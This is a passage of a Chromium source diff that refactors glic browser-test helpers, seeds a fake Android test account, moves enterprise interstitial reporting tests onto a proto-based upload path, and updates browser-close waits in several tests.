+              id ? GetInstanceById(*id) : GetOnlyGlicInstance();
+          return !target || !target->IsShowing();
+        },
+        "Failed to close Glic UI");
+  }
+
+  // Returns the only glic instance. CHECK fails if there is ever more than one.
+  GlicInstanceImpl* GetOnlyGlicInstance() {
+    CHECK(GlicEnabling::IsMultiInstanceEnabled());
+    return static_cast<GlicInstanceImpl*>(
+        ::glic::GetOnlyGlicInstance(T::GetProfile()));
+  }
+
+  // Returns the glic instance bound to the given tab. Returns nullptr if not
+  // found.
+  GlicInstanceImpl* GetInstanceForTab(tabs::TabInterface* tab) {
+    CHECK(GlicEnabling::IsMultiInstanceEnabled());
+    return static_cast<GlicInstanceImpl*>(
+        ::glic::GetInstanceForTab(T::GetProfile(), tab));
+  }
+
+  // Returns the glic instance with the given id. Returns nullptr if not found.
+  GlicInstanceImpl* GetInstanceById(InstanceId id) {
+    CHECK(GlicEnabling::IsMultiInstanceEnabled());
+    return static_cast<GlicInstanceImpl*>(
+        ::glic::GetInstanceById(T::GetProfile(), id));
+  }
+
+  GlicInstanceCoordinatorImpl& coordinator() {
+    CHECK(GlicEnabling::IsMultiInstanceEnabled());
+    return static_cast<GlicInstanceCoordinatorImpl&>(
+        GlicKeyedService::Get(T::GetProfile())->window_controller());
+  }
+
+  // Opens a new tab with the given URL.
+  tabs::TabInterface* CreateAndActivateTab(const GURL& url) {
+    tabs::TabInterface* new_tab = T::GetTabListInterface()->OpenTab(url, -1);
+    T::GetTabListInterface()->ActivateTab(new_tab->GetHandle());
+    return new_tab;
+  }
+
+  void SetGlicPagePath(const std::string& glic_page_path) {
+    glic_page_path_ = glic_page_path;
+  }
+
+  // Adds a query param to the URL that will be used to load the mock glic.
+  // Must be called before `SetUpOnMainThread()`. Both `key` and `value` (if
+  // specified) will be URL-encoded for safety.
+  void add_mock_glic_query_param(const std::string_view& key,
+                                 const std::string_view& value = "") {
+    mock_glic_query_params_.emplace(key, value);
+  }
+
+  GURL GetGuestURL() {
+    CHECK(guest_url_.is_valid()) << "Guest URL not yet configured.";
+    return guest_url_;
+  }
+
+  void SetGlicFreUrlOverride(const GURL& url) { glic_fre_url_ = url; }
+
+ protected:
+  GlicTestEnvironment& glic_test_environment() {
+    return glic_test_environment_;
+  }
+
+ private:
+  GlicTestEnvironment glic_test_environment_;
+  net::test_server::EmbeddedTestServerHandle test_server_handle_;
+  // This is the default test file. Tests can override with a different path.
+  std::string glic_page_path_ = "/glic/test_client/index.html";
+  GURL guest_url_;
+  std::optional<GURL> glic_fre_url_;
+  base::test::ScopedFeatureList scoped_feature_list_;
+  std::map<std::string, std::string> mock_glic_query_params_;
+};
+
+using GlicBrowserTest = GlicBrowserTestMixin<PlatformBrowserTest>;
+
+}  // namespace glic
+
+#endif  // CHROME_BROWSER_GLIC_TEST_SUPPORT_GLIC_BROWSER_TEST_H_
diff --git a/chrome/browser/glic/test_support/glic_test_environment.cc b/chrome/browser/glic/test_support/glic_test_environment.cc
index 6d5ab0e..61316b9c 100644
--- a/chrome/browser/glic/test_support/glic_test_environment.cc
+++ b/chrome/browser/glic/test_support/glic_test_environment.cc
@@ -16,12 +16,91 @@
 #include "chrome/browser/signin/identity_manager_factory.h"
 #include "chrome/browser/signin/identity_test_environment_profile_adaptor.h"
 #include "components/keyed_service/content/browser_context_dependency_manager.h"
+#include "components/signin/public/identity_manager/identity_test_utils.h"
 
 #if BUILDFLAG(IS_CHROMEOS)
 #include "chromeos/ash/components/browser_context_helper/browser_context_helper.h"
 #include "chromeos/constants/chromeos_features.h"
 #endif  // BUILDFLAG(IS_CHROMEOS)
 
+#if BUILDFLAG(IS_ANDROID)
+#include "base/android/jni_android.h"
+#include "base/android/jni_array.h"
+#include "base/android/jni_string.h"
+#include "base/android/scoped_java_ref.h"
+#include "components/signin/public/identity_manager/identity_manager.h"
+#include "components/signin/public/identity_manager/identity_test_utils.h"
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wunused-function"
+#include "components/signin/public/android/jni_headers/AccountCapabilities_jni.h"
+#include "components/signin/public/android/jni_headers/AccountInfo_jni.h"
+#pragma clang diagnostic pop
+
+namespace {
+
+// Defined locally to avoid changes to identity_test_utils.h/cc.
+void AddTestAccountToFakeAccountManagerFacade(const std::string& email,
+                                              const std::string& gaia_id) {
+  JNIEnv* env = base::android::AttachCurrentThread();
+
+  // 1. Construct GaiaId
+  GaiaId gaia_id_cpp(gaia_id);
+
+  // 2. Construct CoreAccountId
+  CoreAccountId core_account_id_cpp = CoreAccountId::FromGaiaId(gaia_id_cpp);
+
+  // 3. Construct AccountCapabilities (empty)
+  std::vector<std::string> cap_names;
+  std::vector<bool> cap_values;
+  base::android::ScopedJavaLocalRef<jobjectArray> j_cap_names =
+      base::android::ToJavaArrayOfStrings(env, cap_names);
+  base::android::ScopedJavaLocalRef<jbooleanArray> j_cap_values =
+      base::android::ToJavaBooleanArray(env, cap_values);
+  base::android::ScopedJavaLocalRef<jobject> account_capabilities_obj =
+      signin::Java_AccountCapabilities_Constructor(env, j_cap_names,
+                                                   j_cap_values);
+
+  // 4. Construct AccountInfo
+  base::android::ScopedJavaLocalRef<jobject> account_info_obj =
+      signin::Java_AccountInfo_Constructor(
+          env, core_account_id_cpp, email, gaia_id_cpp, "Test User", "Test",
+          base::android::ScopedJavaLocalRef<jstring>(),  // hostedDomain
+          base::android::ScopedJavaLocalRef<jobject>(),  // accountImage
+          account_capabilities_obj);
+
+  // 5. Get AccountManagerFacadeProvider class and getInstance method
+  base::android::ScopedJavaLocalRef<jclass> provider_class =
+      base::android::GetClass(
+          env, "org/chromium/components/signin/AccountManagerFacadeProvider");
+  jmethodID get_instance_method =
+      base::android::MethodID::Get<base::android::MethodID::TYPE_STATIC>(
+          env, provider_class.obj(), "getInstance",
+          "()Lorg/chromium/components/signin/AccountManagerFacade;");
+
+  // 6. Get AccountManagerFacade instance
+  base::android::ScopedJavaLocalRef<jobject> facade_obj =
+      base::android::ScopedJavaLocalRef<jobject>::Adopt(
+          env, env->CallStaticObjectMethod(provider_class.obj(),
+                                           get_instance_method));
+
+  // 7. Get addAccount method (FakeAccountManagerFacade specific)
+  base::android::ScopedJavaLocalRef<jclass> facade_class =
+      base::android::ScopedJavaLocalRef<jclass>::Adopt(
+          env, env->GetObjectClass(facade_obj.obj()));
+  jmethodID add_account_method =
+      base::android::MethodID::Get<base::android::MethodID::TYPE_INSTANCE>(
+          env, facade_class.obj(), "addAccount",
+          "(Lorg/chromium/components/signin/base/AccountInfo;)V");
+
+  // 8. Call addAccount
+  env->CallVoidMethod(facade_obj.obj(), add_account_method,
+                      account_info_obj.obj());
+}
+
+}  // namespace
+#endif
+
 namespace glic {
 
 namespace internal {
@@ -101,6 +180,7 @@
       : ProfileKeyedServiceFactory(
             "GlicTestEnvironmentService",
             ProfileSelections::BuildForRegularProfile()) {
+    DependsOn(IdentityManagerFactory::GetInstance());
     // It would be sensible to depend on GlicKeyedServiceFactory, but that ends
     // up creating some service factories too early.
   }
@@ -135,6 +215,14 @@
           ->RegisterCreateServicesCallbackForTesting(base::BindRepeating(
               &GlicTestEnvironment::OnWillCreateBrowserContextKeyedServices,
               base::Unretained(this)));
+
+#if BUILDFLAG(IS_ANDROID)
+  // On Android, SigninManager validates the account with the OS AccountManager
+  // (mediated by AccountManagerFacade). We must set up the fake facade.
+  // The account seeding is done in OnWillCreateBrowserContextKeyedServices
+  // to run after TestingProfile::Init resets the facade.
+  signin::SetUpFakeAccountManagerFacade();
+#endif
 }
 
 GlicTestEnvironment::~GlicTestEnvironment() = default;
@@ -170,6 +258,8 @@
   if (internal::GetConfig().force_signin_and_glic_capability) {
     IdentityTestEnvironmentProfileAdaptor::
         SetIdentityTestEnvironmentFactoriesOnBrowserContext(context);
+
+    adaptor_ = std::make_unique<IdentityTestEnvironmentProfileAdaptor>(profile);
   }
 
   auto observation =
@@ -221,6 +311,14 @@
     auto disabled = ash::BrowserContextHelper::
         DisableImplicitBrowserContextCreationForTest();
 #endif
+#if BUILDFLAG(IS_ANDROID)
+    // Seed the account into the FakeAccountManagerFacade.
+    // This is required on Android because SigninManager checks the facade
+    // directly.
+    AddTestAccountToFakeAccountManagerFacade(
+        "glic-test@example.com",
+        signin::GetTestGaiaIdForEmail("glic-test@example.com").ToString());
+#endif
     SigninWithPrimaryAccount(profile);
     SetModelExecutionCapability(true);
   }
diff --git a/chrome/browser/glic/test_support/glic_test_environment.h b/chrome/browser/glic/test_support/glic_test_environment.h
index 9fa33e01..1d59741 100644
--- a/chrome/browser/glic/test_support/glic_test_environment.h
+++ b/chrome/browser/glic/test_support/glic_test_environment.h
@@ -21,6 +21,7 @@
 #include "chrome/common/chrome_features.h"
 
 class Profile;
+class IdentityTestEnvironmentProfileAdaptor;
 namespace glic {
 class GlicKeyedService;
 namespace internal {
@@ -104,6 +105,7 @@
       std::unique_ptr<base::ScopedObservation<Profile, ProfileObserver>>>
       profile_observations_;
   internal::GlicTestEnvironmentShared shared_;
+  std::unique_ptr<IdentityTestEnvironmentProfileAdaptor> adaptor_;
 };
 
 // Note: This constructs the GlicKeyedService, if it's not already created,
diff --git a/chrome/browser/glic/test_support/glic_test_util.cc b/chrome/browser/glic/test_support/glic_test_util.cc
index 1cf7687..cddd7ff 100644
--- a/chrome/browser/glic/test_support/glic_test_util.cc
+++ b/chrome/browser/glic/test_support/glic_test_util.cc
@@ -146,12 +146,7 @@
     return nullptr;
   }
   if (tracked_instance_id_) {
-    for (GlicInstance* instance : service->window_controller().GetInstances()) {
-      if (instance->id() == *tracked_instance_id_) {
-        return instance;
-      }
-    }
-    return nullptr;
+    return GetInstanceById(profile_.get(), *tracked_instance_id_);
   }
   if (track_only_glic_instance_) {
     return GetOnlyGlicInstance(profile_.get());
@@ -242,6 +237,10 @@
 #endif  // !BUILDFLAG(IS_ANDROID)
 
 GlicInstance* GetOnlyGlicInstance(Profile* profile) {
+  if (!profile) {
+    LOG(ERROR) << "GetOnlyGlicInstance: Profile is null";
+    return nullptr;
+  }
   auto* service = GlicKeyedService::Get(profile);
   if (!service) {
     return nullptr;
@@ -260,6 +259,35 @@
   return instances.empty() ? nullptr : instances[0];
 }
 
+GlicInstance* GetInstanceForTab(Profile* profile, tabs::TabInterface* tab) {
+  if (!profile) {
+    LOG(ERROR) << "GetInstanceForTab: Profile is null";
+    return nullptr;
+  }
+  auto* service = GlicKeyedService::Get(profile);
+  if (!service) {
+    return nullptr;
+  }
+  return service->GetInstanceForTab(tab);
+}
+
+GlicInstance* GetInstanceById(Profile* profile, InstanceId id) {
+  if (!profile) {
+    LOG(ERROR) << "GetInstanceById: Profile is null";
+    return nullptr;
+  }
+  auto* service = GlicKeyedService::Get(profile);
+  if (!service) {
+    return nullptr;
+  }
+  for (GlicInstance* instance : service->window_controller().GetInstances()) {
+    if (instance->id() == id) {
+      return instance;
+    }
+  }
+  return nullptr;
+}
+
 void ForceSigninAndGlicCapability(Profile* profile) {
   SetFRECompletion(profile, prefs::FreStatus::kCompleted);
   SigninWithPrimaryAccount(profile);
diff --git a/chrome/browser/glic/test_support/glic_test_util.h b/chrome/browser/glic/test_support/glic_test_util.h
index 8ebf554..b7730c6 100644
--- a/chrome/browser/glic/test_support/glic_test_util.h
+++ b/chrome/browser/glic/test_support/glic_test_util.h
@@ -161,6 +161,13 @@
 // found. CHECK fails if there is ever more than one.
 GlicInstance* GetOnlyGlicInstance(Profile* profile);
 
+// Returns the glic instance bound to the given tab, or nullptr if none is
+// found.
+GlicInstance* GetInstanceForTab(Profile* profile, tabs::TabInterface* tab);
+
+// Returns the glic instance with the given id, or nullptr if none is found.
+GlicInstance* GetInstanceById(Profile* profile, InstanceId id);
+
 // Signs in a primary account, accepts the FRE, and enables the relevant
 // capability for that profile. browser_tests and interactive_ui_tests should
 // use GlicTestEnvironment. These methods are for unit_tests.
diff --git a/chrome/browser/glic/widget/glic_window_controller_interactive_uitest.cc b/chrome/browser/glic/widget/glic_window_controller_interactive_uitest.cc
index b117dc30..f44c4ccf 100644
--- a/chrome/browser/glic/widget/glic_window_controller_interactive_uitest.cc
+++ b/chrome/browser/glic/widget/glic_window_controller_interactive_uitest.cc
@@ -143,8 +143,9 @@
 
 IN_PROC_BROWSER_TEST_F(GlicWindowControllerUiTest, DoNotCrashOnBrowserClose) {
   RunTestSequence(OpenGlicFloatingWindow());
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsers();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 }
 
 IN_PROC_BROWSER_TEST_F(GlicWindowControllerUiTest, DoNotCrashWhenReopening) {
@@ -772,10 +773,11 @@
   EXPECT_TRUE(service1->IsWindowShowing());
 
   // Delete the second profile
+  ui_test_utils::BrowserDestroyedObserver observer(browser1);
   profile_manager->GetDeleteProfileHelper().MaybeScheduleProfileForDeletion(
       browser1->profile()->GetPath(), base::DoNothing(),
       ProfileMetrics::DELETE_PROFILE_USER_MANAGER);
-  ui_test_utils::WaitForBrowserToClose(browser1);
+  observer.Wait();
 
   EXPECT_FALSE(service1->IsWindowShowing());
 }
diff --git a/chrome/browser/history/BUILD.gn b/chrome/browser/history/BUILD.gn
index 0c8aa919..8be20ac 100644
--- a/chrome/browser/history/BUILD.gn
+++ b/chrome/browser/history/BUILD.gn
@@ -3,12 +3,23 @@
 # found in the LICENSE file.
 
 source_set("history") {
-  sources = [ "history_service_factory.h" ]
+  sources = [
+    "history_service_factory.h",
+    "web_history_service_factory.cc",
+    "web_history_service_factory.h",
+  ]
   public_deps = [
     "//base",
     "//chrome/browser/profiles:profile",
     "//components/keyed_service/core",
   ]
+  deps = [
+    "//chrome/browser/signin",
+    "//chrome/browser/sync:factories",
+    "//components/history/core/browser",
+    "//components/sync/service",
+    "//content/public/browser",
+  ]
 }
 
 if (is_android) {
diff --git a/chrome/browser/incognito/android/java/src/org/chromium/chrome/browser/incognito/reauth/IncognitoReauthControllerImpl.java b/chrome/browser/incognito/android/java/src/org/chromium/chrome/browser/incognito/reauth/IncognitoReauthControllerImpl.java
index 368c4d17..87ba60d 100644
--- a/chrome/browser/incognito/android/java/src/org/chromium/chrome/browser/incognito/reauth/IncognitoReauthControllerImpl.java
+++ b/chrome/browser/incognito/android/java/src/org/chromium/chrome/browser/incognito/reauth/IncognitoReauthControllerImpl.java
@@ -17,6 +17,7 @@
 import org.chromium.base.metrics.RecordHistogram;
 import org.chromium.base.supplier.MonotonicObservableSupplier;
 import org.chromium.base.supplier.OneshotSupplier;
+import org.chromium.build.BuildConfig;
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.build.annotations.Nullable;
 import org.chromium.chrome.browser.layouts.LayoutStateProvider;
@@ -282,6 +283,14 @@
         }
     }
 
+    /** Returns whether an app update has happened. */
+    public static boolean isFromUpdate(@Nullable PersistableBundle persistableBundle) {
+        if (persistableBundle == null) return false;
+
+        return BuildConfig.VERSION_CODE
+                != persistableBundle.getLong(PREVIOUS_VERSION_CODE, BuildConfig.VERSION_CODE);
+    }
+
     /** Override from {@link IncognitoReauthController}. */
     @Override
     public boolean isReauthPageShowing() {
diff --git a/chrome/browser/interstitials/enterprise_util_unittest.cc b/chrome/browser/interstitials/enterprise_util_unittest.cc
index 4bd55f3b..9f1a4de 100644
--- a/chrome/browser/interstitials/enterprise_util_unittest.cc
+++ b/chrome/browser/interstitials/enterprise_util_unittest.cc
@@ -20,6 +20,7 @@
 #include "components/enterprise/connectors/core/reporting_test_utils.h"
 #include "components/policy/core/common/cloud/dm_token.h"
 #include "components/policy/core/common/cloud/mock_cloud_policy_client.h"
+#include "components/policy/core/common/cloud/realtime_reporting_job_configuration.h"
 #include "components/safe_browsing/content/browser/safe_browsing_navigation_observer_manager.h"
 #include "components/safe_browsing/core/browser/referrer_chain_provider.h"
 #include "components/safe_browsing/core/common/features.h"
@@ -154,6 +155,22 @@
     EXPECT_EQ(referrer_chain->size(), 1u);
   }
 
+  void ValidateReferrerChainForInterstitialEvent(
+      const ::chrome::cros::reporting::proto::UploadEventsRequest& request) {
+    ASSERT_EQ(1, request.events_size());
+    ASSERT_TRUE(request.events().Get(0).has_interstitial_event());
+    auto event = request.events().Get(0).interstitial_event();
+    ASSERT_EQ(event.referrers_size(), 1);
+  }
+
+  void ValidateReferrerChainForUrlFilteringEvent(
+      const ::chrome::cros::reporting::proto::UploadEventsRequest& request) {
+    ASSERT_EQ(1, request.events_size());
+    ASSERT_TRUE(request.events().Get(0).has_url_filtering_interstitial_event());
+    auto event = request.events().Get(0).url_filtering_interstitial_event();
+    ASSERT_EQ(event.referrers_size(), 1);
+  }
+
  protected:
   content::BrowserTaskEnvironment task_environment_;
   std::unique_ptr<policy::MockCloudPolicyClient> client_;
@@ -172,7 +189,14 @@
           ->GetPrimaryOTRProfile(
               /*create_if_needed=*/true);
   EnableReportingPolicy(incognito_profile);
-  EXPECT_CALL(*client_, UploadSecurityEventReport).Times(0);
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    EXPECT_CALL(*client_, UploadSecurityEvent).Times(0);
+  } else {
+    EXPECT_CALL(*client_, UploadSecurityEventReport).Times(0);
+  }
+
   MaybeTriggerSecurityInterstitialShownEvent(
       web_contents_factory_.CreateWebContents(incognito_profile),
       GURL("https://phishing.com/"), "reason",
@@ -200,21 +224,42 @@
       .WillOnce(DoAll(SetArgPointee<2>(expected_referrer_chain),
                       Return(safe_browsing::ReferrerChainProvider::SUCCESS)));
   base::RunLoop run_loop;
+  ::chrome::cros::reporting::proto::UploadEventsRequest event_request;
   base::DictValue report_dict;
-  EXPECT_CALL(*client_, UploadSecurityEventReport)
-      .Times(1)
-      .WillOnce([&](bool include_device_info, base::DictValue&& report,
-                    policy::CloudPolicyClient::ResultCallback callback) {
-        report_dict = std::move(report);
-        run_loop.Quit();
-      });
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    EXPECT_CALL(*client_, UploadSecurityEvent)
+        .Times(1)
+        .WillOnce(
+            [&](bool include_device_info,
+                ::chrome::cros::reporting::proto::UploadEventsRequest&& request,
+                policy::CloudPolicyClient::ResultCallback callback) {
+              event_request = std::move(request);
+              run_loop.Quit();
+            });
+  } else {
+    EXPECT_CALL(*client_, UploadSecurityEventReport)
+        .Times(1)
+        .WillOnce([&](bool include_device_info, base::DictValue&& report,
+                      policy::CloudPolicyClient::ResultCallback callback) {
+          report_dict = std::move(report);
+          run_loop.Quit();
+        });
+  }
 
   MaybeTriggerSecurityInterstitialShownEvent(
       web_contents_factory_.CreateWebContents(guest_profile),
       GURL("https://phishing.com/"), "reason",
       /*net_error_code=*/0);
   run_loop.Run();
-  ValidateReferrerChain(report_dict, "interstitialEvent");
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    ValidateReferrerChainForInterstitialEvent(event_request);
+  } else {
+    ValidateReferrerChain(report_dict, "interstitialEvent");
+  }
 }
 
 TEST_F(InterstitialEnterpriseUtilTest,
@@ -238,21 +283,42 @@
       .WillOnce(DoAll(SetArgPointee<2>(expected_referrer_chain),
                       Return(safe_browsing::ReferrerChainProvider::SUCCESS)));
   base::RunLoop run_loop;
+  ::chrome::cros::reporting::proto::UploadEventsRequest event_request;
   base::DictValue report_dict;
-  EXPECT_CALL(*client_, UploadSecurityEventReport)
-      .Times(1)
-      .WillOnce([&](bool include_device_info, base::DictValue&& report,
-                    policy::CloudPolicyClient::ResultCallback callback) {
-        report_dict = std::move(report);
-        run_loop.Quit();
-      });
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    EXPECT_CALL(*client_, UploadSecurityEvent)
+        .Times(1)
+        .WillOnce(
+            [&](bool include_device_info,
+                ::chrome::cros::reporting::proto::UploadEventsRequest&& request,
+                policy::CloudPolicyClient::ResultCallback callback) {
+              event_request = std::move(request);
+              run_loop.Quit();
+            });
+  } else {
+    EXPECT_CALL(*client_, UploadSecurityEventReport)
+        .Times(1)
+        .WillOnce([&](bool include_device_info, base::DictValue&& report,
+                      policy::CloudPolicyClient::ResultCallback callback) {
+          report_dict = std::move(report);
+          run_loop.Quit();
+        });
+  }
 
   MaybeTriggerSecurityInterstitialProceededEvent(
       web_contents_factory_.CreateWebContents(guest_profile),
       GURL("https://phishing.com/"), "reason",
       /*net_error_code=*/0);
   run_loop.Run();
-  ValidateReferrerChain(report_dict, "interstitialEvent");
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    ValidateReferrerChainForInterstitialEvent(event_request);
+  } else {
+    ValidateReferrerChain(report_dict, "interstitialEvent");
+  }
 }
 
 TEST_F(InterstitialEnterpriseUtilTest,
@@ -285,20 +351,41 @@
       .WillOnce(DoAll(SetArgPointee<2>(expected_referrer_chain),
                       Return(safe_browsing::ReferrerChainProvider::SUCCESS)));
   base::RunLoop run_loop;
+  ::chrome::cros::reporting::proto::UploadEventsRequest event_request;
   base::DictValue report_dict;
-  EXPECT_CALL(*client_, UploadSecurityEventReport)
-      .Times(1)
-      .WillOnce([&](bool include_device_info, base::DictValue&& report,
-                    policy::CloudPolicyClient::ResultCallback callback) {
-        report_dict = std::move(report);
-        run_loop.Quit();
-      });
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    EXPECT_CALL(*client_, UploadSecurityEvent)
+        .Times(1)
+        .WillOnce(
+            [&](bool include_device_info,
+                ::chrome::cros::reporting::proto::UploadEventsRequest&& request,
+                policy::CloudPolicyClient::ResultCallback callback) {
+              event_request = std::move(request);
+              run_loop.Quit();
+            });
+  } else {
+    EXPECT_CALL(*client_, UploadSecurityEventReport)
+        .Times(1)
+        .WillOnce([&](bool include_device_info, base::DictValue&& report,
+                      policy::CloudPolicyClient::ResultCallback callback) {
+          report_dict = std::move(report);
+          run_loop.Quit();
+        });
+  }
 
   MaybeTriggerUrlFilteringInterstitialEvent(
       web_contents_factory_.CreateWebContents(guest_profile),
       GURL("https://phishing.com/"), "ENTERPRISE_WARNED_SEEN", response);
   run_loop.Run();
-  ValidateReferrerChain(report_dict, "urlFilteringInterstitialEvent");
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    ValidateReferrerChainForUrlFilteringEvent(event_request);
+  } else {
+    ValidateReferrerChain(report_dict, "urlFilteringInterstitialEvent");
+  }
 }
 
 TEST_F(InterstitialEnterpriseUtilTest, ReferrerChainFallsbackToEventUrl) {
@@ -336,18 +423,39 @@
       .WillOnce(DoAll(SetArgPointee<3>(expected_referrer_chain),
                       Return(safe_browsing::ReferrerChainProvider::SUCCESS)));
   base::RunLoop run_loop;
+  ::chrome::cros::reporting::proto::UploadEventsRequest event_request;
   base::DictValue report_dict;
-  EXPECT_CALL(*client_, UploadSecurityEventReport)
-      .Times(1)
-      .WillOnce([&](bool include_device_info, base::DictValue&& report,
-                    policy::CloudPolicyClient::ResultCallback callback) {
-        report_dict = std::move(report);
-        run_loop.Quit();
-      });
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    EXPECT_CALL(*client_, UploadSecurityEvent)
+        .Times(1)
+        .WillOnce(
+            [&](bool include_device_info,
+                ::chrome::cros::reporting::proto::UploadEventsRequest&& request,
+                policy::CloudPolicyClient::ResultCallback callback) {
+              event_request = std::move(request);
+              run_loop.Quit();
+            });
+  } else {
+    EXPECT_CALL(*client_, UploadSecurityEventReport)
+        .Times(1)
+        .WillOnce([&](bool include_device_info, base::DictValue&& report,
+                      policy::CloudPolicyClient::ResultCallback callback) {
+          report_dict = std::move(report);
+          run_loop.Quit();
+        });
+  }
 
   MaybeTriggerUrlFilteringInterstitialEvent(
       web_contents_factory_.CreateWebContents(guest_profile),
       GURL("https://phishing.com/"), "ENTERPRISE_WARNED_SEEN", response);
   run_loop.Run();
-  ValidateReferrerChain(report_dict, "urlFilteringInterstitialEvent");
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    ValidateReferrerChainForUrlFilteringEvent(event_request);
+  } else {
+    ValidateReferrerChain(report_dict, "urlFilteringInterstitialEvent");
+  }
 }
diff --git a/chrome/browser/lifetime/application_lifetime_browsertest.cc b/chrome/browser/lifetime/application_lifetime_browsertest.cc
index 61aa42b..703fa0a 100644
--- a/chrome/browser/lifetime/application_lifetime_browsertest.cc
+++ b/chrome/browser/lifetime/application_lifetime_browsertest.cc
@@ -115,9 +115,10 @@
                       "window.addEventListener('beforeunload',"
                       "function(event) { event.returnValue = 'Foo'; });"));
   content::PrepContentsForBeforeUnloadTest(tab);
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   content::GetUIThreadTaskRunner({})->PostTask(
       FROM_HERE, base::BindOnce(&chrome::RelaunchIgnoreUnloadHandlers));
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 }
 
 using ApplicationLifetimeTest = InProcessBrowserTest;
diff --git a/chrome/browser/lifetime/browser_close_manager_browsertest.cc b/chrome/browser/lifetime/browser_close_manager_browsertest.cc
index be56350..644b6f9e 100644
--- a/chrome/browser/lifetime/browser_close_manager_browsertest.cc
+++ b/chrome/browser/lifetime/browser_close_manager_browsertest.cc
@@ -323,9 +323,13 @@
   }
 
   void WaitForAllBrowsersToClose() {
-    while (!GlobalBrowserCollection::GetInstance()->IsEmpty()) {
-      ui_test_utils::WaitForBrowserToClose();
-    }
+    GlobalBrowserCollection::GetInstance()->ForEach(
+        [](BrowserWindowInterface* browser) {
+          ui_test_utils::BrowserDestroyedObserver(browser).Wait();
+          return true;
+        },
+        /*order=*/BrowserCollection::Order::kCreation,
+        /*enumerate_new_browsers=*/true);
   }
 
   std::vector<raw_ptr<Browser, VectorExperimental>> browsers_;
@@ -343,9 +347,10 @@
   EXPECT_FALSE(browser_shutdown::IsTryingToQuit());
   EXPECT_EQ(1, browser()->tab_strip_model()->count());
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersAndQuit();
   ASSERT_NO_FATAL_FAILURE(AcceptClose());
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
 }
@@ -364,10 +369,11 @@
   EXPECT_FALSE(browser_shutdown::IsTryingToQuit());
   EXPECT_EQ(1, browser()->tab_strip_model()->count());
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersAndQuit();
   chrome::CloseAllBrowsersAndQuit();
   ASSERT_NO_FATAL_FAILURE(AcceptClose());
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
 }
@@ -396,8 +402,9 @@
   ASSERT_NO_FATAL_FAILURE(AcceptClose());
   navigation_observer.Wait();
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersAndQuit();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
 }
@@ -496,8 +503,9 @@
 
   chrome::CloseAllBrowsersAndQuit();
 
+  ui_test_utils::BrowserDestroyedObserver observer(browsers_[0]);
   ASSERT_NO_FATAL_FAILURE(AcceptClose());
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
 }
@@ -573,9 +581,10 @@
   EXPECT_EQ(kTabCount, browsers_[0]->tab_strip_model()->count());
 
   // Quit, this time accepting close confirmation dialog.
+  ui_test_utils::BrowserDestroyedObserver observer(browsers_[0]);
   chrome::CloseAllBrowsersAndQuit();
   ASSERT_NO_FATAL_FAILURE(AcceptClose());
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
 }
@@ -814,8 +823,9 @@
   EXPECT_CALL(browser_did_close_callback, Run).Times(1);
   base::CallbackListSubscription subscription =
       browser2->RegisterBrowserDidClose(browser_did_close_callback.Get());
+  ui_test_utils::BrowserDestroyedObserver observer(browser2);
   ASSERT_NO_FATAL_FAILURE(AcceptClose());
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   // Now the second window/browser should be closed.
   EXPECT_EQ(1u, restore_observer.changes_count());
 
@@ -951,9 +961,10 @@
   // Set silent exit to hit ignore unload handlers flow
   browser_shutdown::OnShutdownStarting(
       browser_shutdown::ShutdownType::kSilentExit);
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   content::GetUIThreadTaskRunner({})->PostTask(
       FROM_HERE, base::BindOnce(&chrome::CloseAllBrowsers));
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
   EXPECT_TRUE(browser_shutdown::IsTryingToQuit());
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
 }
@@ -1059,8 +1070,9 @@
       browser()->profile()->GetPrimaryOTRProfile(/*create_if_needed=*/true);
   Browser* otr_browser = CreateBrowser(otr_profile);
   {
+    ui_test_utils::BrowserDestroyedObserver observer(browser());
     browser()->window()->Close();
-    ui_test_utils::WaitForBrowserToClose();
+    observer.Wait();
   }
